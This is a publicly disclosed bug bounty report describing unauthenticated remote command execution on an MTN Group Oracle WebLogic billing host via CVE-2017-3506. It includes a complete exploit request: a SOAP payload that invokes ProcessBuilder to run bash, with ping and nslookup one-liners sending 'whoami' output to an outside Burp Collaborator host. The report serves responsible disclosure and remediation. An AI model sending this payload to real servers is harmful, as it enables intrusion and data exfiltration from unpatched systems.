MTN Group · Report #810778

Remote OS Command Execution on Oracle Weblogic server via [CVE-2017-3506]

Validstatus

criticalseverity

25upvotes

25 Apr 2021disclosed

Summary

CVE-2017-3506 :

Vulnerability in the Oracle WebLogic Server component of Oracle Fusion Middleware (subcomponent: Web Services). Supported versions that are affected are 10.3.6.0, 12.1.3.0, 12.2.1.0, 12.2.1.1 and 12.2.1.2. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle WebLogic Server accessible data as well as unauthorized access to critical data or complete access to all Oracle WebLogic Server accessible data.

How it was found

Summary

Hello. I was able to identify RCE vulnerability due to the outdated Oracle Weblogic instance on https://raebilling.mtn.co.za.

Steps To Reproduce

To reproduce, try this request with BurpSuite
This request to the https://raebilling.mtn.co.za/wls-wsat/RegistrationRequesterPortType will trigger Remote OS Command Execution:

POST /wls-wsat/RegistrationRequesterPortType HTTP/1.1
Host: raebilling.mtn.co.za
Content-Type: text/xml
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,
Accept-Languag: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3,
Content-Type: text/xml;charset=UTF-8
Content-Length: 873

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
      <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
          <java>
            <object class="java.lang.ProcessBuilder">
              <array class="java.lang.String" length="3">
                <void index="0">
                  <string>/bin/bash</string>
                </void>
                <void index="1">
                  <string>-c</string>
                </void>
        <void index="2">
                  <string>ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net</string>
                </void>
              </array>
              <void method="start"/>
            </object>
          </java>
        </work:WorkContext>
      </soapenv:Header>
      <soapenv:Body/>
    </soapenv:Envelope>

==Note:==

To reproduce this case with nslookup or ping, fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net host should be replaced by your own Burp Collaborator instance or with your private VPS IP to catch the DNS request

##Example:

ping `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net
nslookup `whoami`.fexpwcppysiky1grj7mbodap5gb7zw.burpcollaborator.net

==POC:== {F736973}

Suggested Mitigation/Remediation Actions

Patching WebLogic to the recent version will fix the issue.

Impact

This vulnerability allow an unauthenticated attacker:

To perform Remote OS Command Execution

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original